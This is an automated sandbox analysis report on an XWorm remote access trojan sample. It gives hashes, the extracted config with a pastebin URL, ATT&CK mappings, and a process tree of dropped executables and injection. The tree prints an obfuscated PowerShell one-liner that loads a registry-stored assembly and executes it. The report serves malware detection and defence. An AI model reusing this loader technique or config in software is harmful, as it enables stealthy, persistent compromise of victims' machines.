xworm | a17456d92d96f3fa579828f04e0530bf650eb92baf68bc414f101f6656c01cda

Analysis

max time kernel
150s
max time network
20s
platform
windows7_x64
resource
win7-20240708-en
resource tags

arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
submitted
31/10/2024, 19:06

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General

Target

DeadPayload.exe
Size

500KB
MD5

4dbebfa079ea4b45eb94e2843180c56b
SHA1

820487493a6845752041ca9e0f714025c9eda4bc
SHA256

a17456d92d96f3fa579828f04e0530bf650eb92baf68bc414f101f6656c01cda
SHA512

b347ac5f39440fad010c8c8e715fb293967ae08b43cf246ea09b328b00a4f35ea6a251e432ad6c26901fb5db8936c57f370df321ae86cb8180e5aee2de57574b
SSDEEP

12288:N3DTkV1ilKya0FOUuQ0gH+kmtbF6W05EJXp107sdN:dkGTy

Score

10^/10

xworm discovery evasion execution rat trojan

Malware Config

Extracted

Family

xworm

Version

5.0

Mutex

QgVg78qW15uIsQ4H

Attributes

Install_directory
%Public%
install_file
ohh.exe
pastebin_url
https://pastebin.com/raw/J09JweeH

aes.plain

Signatures

Detect Xworm Payload 2 IoCs

resource	yara_rule
behavioral1/files/0x0008000000016ce8-5.dat	family_xworm
behavioral1/memory/2256-8-0x0000000001360000-0x000000000136E000-memory.dmp	family_xworm

Modifies security service 2 TTPs 2 IoCs

evasion

Modify Registry

T1112

Windows Service

T1543.003

description	ioc	Process
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\MpsSvc\Parameters\PortKeywords\DHCP	svchost.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\MpsSvc\Parameters\PortKeywords\DHCP\Collection	svchost.exe

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 2544 created 420	2544	powershell.EXE	5

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Executes dropped EXE 2 IoCs

pid	Process
2256	DeadMan.exe
2804	DeadRoot.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2544	powershell.EXE

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2544 set thread context of 2528	2544	powershell.EXE	36

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	DeadRoot.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.EXE
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = b0335802c82bdb01	powershell.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2544	powershell.EXE
2544	powershell.EXE
2528	dllhost.exe
2528	dllhost.exe
2528	dllhost.exe
2528	dllhost.exe
2528	dllhost.exe
2528	dllhost.exe
2528	dllhost.exe
2528	dllhost.exe
2528	dllhost.exe
2528	dllhost.exe
2528	dllhost.exe
2528	dllhost.exe
2528	dllhost.exe
2528	dllhost.exe
2528	dllhost.exe
2528	dllhost.exe
2528	dllhost.exe
2528	dllhost.exe
2528	dllhost.exe
2528	dllhost.exe
2528	dllhost.exe
2528	dllhost.exe
2528	dllhost.exe
2528	dllhost.exe
2528	dllhost.exe
2528	dllhost.exe
2528	dllhost.exe
2528	dllhost.exe
2528	dllhost.exe
2528	dllhost.exe
2528	dllhost.exe
2528	dllhost.exe
2528	dllhost.exe
2528	dllhost.exe
2528	dllhost.exe
2528	dllhost.exe
2528	dllhost.exe
2528	dllhost.exe
2528	dllhost.exe
2528	dllhost.exe
2528	dllhost.exe
2528	dllhost.exe
2528	dllhost.exe
2528	dllhost.exe
2528	dllhost.exe
2528	dllhost.exe
2528	dllhost.exe
2528	dllhost.exe
2528	dllhost.exe
2528	dllhost.exe
2528	dllhost.exe
2528	dllhost.exe
2528	dllhost.exe
2528	dllhost.exe
2528	dllhost.exe
2528	dllhost.exe
2528	dllhost.exe
2528	dllhost.exe
2528	dllhost.exe
2528	dllhost.exe
2528	dllhost.exe
2528	dllhost.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	2256	DeadMan.exe
Token: SeDebugPrivilege	2544	powershell.EXE
Token: SeDebugPrivilege	2544	powershell.EXE
Token: SeDebugPrivilege	2528	dllhost.exe
Token: SeAuditPrivilege	828	svchost.exe

Suspicious use of WriteProcessMemory 41 IoCs

description	pid	Process	procid_target
PID 1504 wrote to memory of 2256	1504	DeadPayload.exe	31
PID 1504 wrote to memory of 2256	1504	DeadPayload.exe	31
PID 1504 wrote to memory of 2256	1504	DeadPayload.exe	31
PID 1504 wrote to memory of 2804	1504	DeadPayload.exe	32
PID 1504 wrote to memory of 2804	1504	DeadPayload.exe	32
PID 1504 wrote to memory of 2804	1504	DeadPayload.exe	32
PID 1504 wrote to memory of 2804	1504	DeadPayload.exe	32
PID 2680 wrote to memory of 2544	2680	taskeng.exe	34
PID 2680 wrote to memory of 2544	2680	taskeng.exe	34
PID 2680 wrote to memory of 2544	2680	taskeng.exe	34
PID 2544 wrote to memory of 2528	2544	powershell.EXE	36
PID 2544 wrote to memory of 2528	2544	powershell.EXE	36
PID 2544 wrote to memory of 2528	2544	powershell.EXE	36
PID 2544 wrote to memory of 2528	2544	powershell.EXE	36
PID 2544 wrote to memory of 2528	2544	powershell.EXE	36
PID 2544 wrote to memory of 2528	2544	powershell.EXE	36
PID 2544 wrote to memory of 2528	2544	powershell.EXE	36
PID 2544 wrote to memory of 2528	2544	powershell.EXE	36
PID 2544 wrote to memory of 2528	2544	powershell.EXE	36
PID 2528 wrote to memory of 420	2528	dllhost.exe	5
PID 2528 wrote to memory of 476	2528	dllhost.exe	6
PID 2528 wrote to memory of 484	2528	dllhost.exe	7
PID 2528 wrote to memory of 492	2528	dllhost.exe	8
PID 2528 wrote to memory of 588	2528	dllhost.exe	9
PID 2528 wrote to memory of 668	2528	dllhost.exe	10
PID 2528 wrote to memory of 740	2528	dllhost.exe	11
PID 2528 wrote to memory of 800	2528	dllhost.exe	12
PID 2528 wrote to memory of 828	2528	dllhost.exe	13
PID 2528 wrote to memory of 952	2528	dllhost.exe	15
PID 2528 wrote to memory of 236	2528	dllhost.exe	16
PID 2528 wrote to memory of 1012	2528	dllhost.exe	17
PID 2528 wrote to memory of 900	2528	dllhost.exe	18
PID 2528 wrote to memory of 1104	2528	dllhost.exe	19
PID 2528 wrote to memory of 1160	2528	dllhost.exe	20
PID 2528 wrote to memory of 1184	2528	dllhost.exe	21
PID 2528 wrote to memory of 1228	2528	dllhost.exe	23
PID 2528 wrote to memory of 1304	2528	dllhost.exe	24
PID 2528 wrote to memory of 1520	2528	dllhost.exe	25
PID 2528 wrote to memory of 2056	2528	dllhost.exe	26
PID 2528 wrote to memory of 1912	2528	dllhost.exe	27
PID 2528 wrote to memory of 2680	2528	dllhost.exe	33

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:420
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{f2725931-8f34-4b5a-b386-db1e22f330be}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2528

C:\Windows\system32\services.exe
C:\Windows\system32\services.exe
1⤵
PID:476
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k DcomLaunch
  2⤵
  PID:588
- - C:\Windows\system32\wbem\wmiprvse.exe
    C:\Windows\system32\wbem\wmiprvse.exe
    3⤵
    PID:1304
- - C:\Windows\system32\DllHost.exe
    C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
    3⤵
    PID:1520
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k RPCSS
  2⤵
  PID:668
- C:\Windows\System32\svchost.exe
  C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted
  2⤵
  - Modifies security service
  PID:740
- C:\Windows\System32\svchost.exe
  C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted
  2⤵
  PID:800
- - C:\Windows\system32\Dwm.exe
    "C:\Windows\system32\Dwm.exe"
    3⤵
    PID:1160
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k netsvcs
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:828
- - C:\Windows\system32\taskeng.exe
    taskeng.exe {140D117A-7064-4CC7-8B52-015136580652} S-1-5-18:NT AUTHORITY\System:Service:
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2680
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
      C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+'O'+'F'+'T'+''+'W'+''+[Char](65)+''+[Char](82)+''+'E'+'').GetValue('D'+[Char](101)+''+[Char](97)+''+[Char](100)+''+[Char](115)+''+[Char](116)+''+'a'+'g'+'e'+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"
      4⤵
      Suspicious use of NtCreateUserProcessOtherParentProcess
      Command and Scripting Interpreter: PowerShell
      Drops file in System32 directory
      Suspicious use of SetThreadContext
      Modifies data under HKEY_USERS
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:2544
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k LocalService
  2⤵
  PID:952
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k NetworkService
  2⤵
  PID:236
- C:\Windows\System32\spoolsv.exe
  C:\Windows\System32\spoolsv.exe
  2⤵
  PID:1012
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork
  2⤵
  PID:900
- C:\Windows\system32\taskhost.exe
  "taskhost.exe"
  2⤵
  PID:1104
- C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE
  "C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE"
  2⤵
  PID:1228
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation
  2⤵
  PID:2056
- C:\Windows\system32\sppsvc.exe
  C:\Windows\system32\sppsvc.exe
  2⤵
  PID:1912

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:484

C:\Windows\system32\lsm.exe
C:\Windows\system32\lsm.exe
1⤵
PID:492

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:1184
- C:\Users\Admin\AppData\Local\Temp\DeadPayload.exe
  "C:\Users\Admin\AppData\Local\Temp\DeadPayload.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1504
- - C:\Users\Public\DeadMan.exe
    "C:\Users\Public\DeadMan.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:2256
- - C:\Users\Public\DeadRoot.exe
    "C:\Users\Public\DeadRoot.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:2804

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Public\DeadMan.exe

Filesize
34KB

MD5
98b90748bb1bac3ca2333277b73923f8

SHA1
9fc96e64ebf90e98030cb701674b67f9e2c3cc0a

SHA256
808ac699a3084328563971bc10c6d3b2c4c95b916a454c2a6f645173e8536da3

SHA512
aac113000f209bd307b0c8410574051d5e63a196a2af103694b66edaec8eebf10d4952cdf5ed2172fa047b439bef27b87efea984cddc906a3c1a33a143768a34

Download Submit
C:\Users\Public\DeadRoot.exe

Filesize
151KB

MD5
b8479a23c22cf6fc456e197939284069

SHA1
b2d98cc291f16192a46f363d007e012d45c63300

SHA256
18294ee5a6383a48d1bcf2703f17d815529df3a17580e027c3efea1800900e8f

SHA512
786cd468ce3723516dc869b09e008ec5d35d1f0c1a61e70083a3be15180866be637bd7d8665c2f0218c56875a0ee597c277e088f77dd403bdd2182d06bad3bd4

Download Submit
memory/420-41-0x0000000000C30000-0x0000000000C57000-memory.dmp

Filesize
156KB

Download
memory/420-33-0x0000000000B70000-0x0000000000B92000-memory.dmp

Filesize
136KB

Download
memory/420-34-0x0000000000C30000-0x0000000000C57000-memory.dmp

Filesize
156KB

Download
memory/420-31-0x0000000000B70000-0x0000000000B92000-memory.dmp

Filesize
136KB

Download
memory/420-43-0x0000000037990000-0x00000000379A0000-memory.dmp

Filesize
64KB

Download
memory/420-42-0x000007FEBE250000-0x000007FEBE260000-memory.dmp

Filesize
64KB

Download
memory/420-35-0x0000000000C30000-0x0000000000C57000-memory.dmp

Filesize
156KB

Download
memory/476-49-0x0000000000200000-0x0000000000227000-memory.dmp

Filesize
156KB

Download
memory/476-56-0x000007FEBE250000-0x000007FEBE260000-memory.dmp

Filesize
64KB

Download
memory/476-57-0x0000000037990000-0x00000000379A0000-memory.dmp

Filesize
64KB

Download
memory/476-55-0x0000000000200000-0x0000000000227000-memory.dmp

Filesize
156KB

Download
memory/484-71-0x0000000037990000-0x00000000379A0000-memory.dmp

Filesize
64KB

Download
memory/484-70-0x000007FEBE250000-0x000007FEBE260000-memory.dmp

Filesize
64KB

Download
memory/484-69-0x0000000000100000-0x0000000000127000-memory.dmp

Filesize
156KB

Download
memory/484-63-0x0000000000100000-0x0000000000127000-memory.dmp

Filesize
156KB

Download
memory/492-77-0x0000000000500000-0x0000000000527000-memory.dmp

Filesize
156KB

Download
memory/1504-0-0x000007FEF5E73000-0x000007FEF5E74000-memory.dmp

Filesize
4KB

Download
memory/1504-1-0x00000000008B0000-0x0000000000934000-memory.dmp

Filesize
528KB

Download
memory/2256-10-0x000007FEF5E70000-0x000007FEF685C000-memory.dmp

Filesize
9.9MB

Download
memory/2256-9-0x000007FEF5E70000-0x000007FEF685C000-memory.dmp

Filesize
9.9MB

Download
memory/2256-8-0x0000000001360000-0x000000000136E000-memory.dmp

Filesize
56KB

Download
memory/2528-27-0x0000000077730000-0x000000007784F000-memory.dmp

Filesize
1.1MB

Download
memory/2528-28-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/2528-26-0x0000000077950000-0x0000000077AF9000-memory.dmp

Filesize
1.7MB

Download
memory/2528-25-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/2528-23-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/2528-22-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/2528-21-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/2528-20-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/2544-19-0x0000000077730000-0x000000007784F000-memory.dmp

Filesize
1.1MB

Download
memory/2544-18-0x0000000077950000-0x0000000077AF9000-memory.dmp

Filesize
1.7MB

Download
memory/2544-17-0x0000000000EA0000-0x0000000000EC8000-memory.dmp

Filesize
160KB

Download
memory/2544-16-0x0000000000970000-0x0000000000978000-memory.dmp

Filesize
32KB

Download
memory/2544-15-0x000000001A110000-0x000000001A3F2000-memory.dmp

Filesize
2.9MB

Download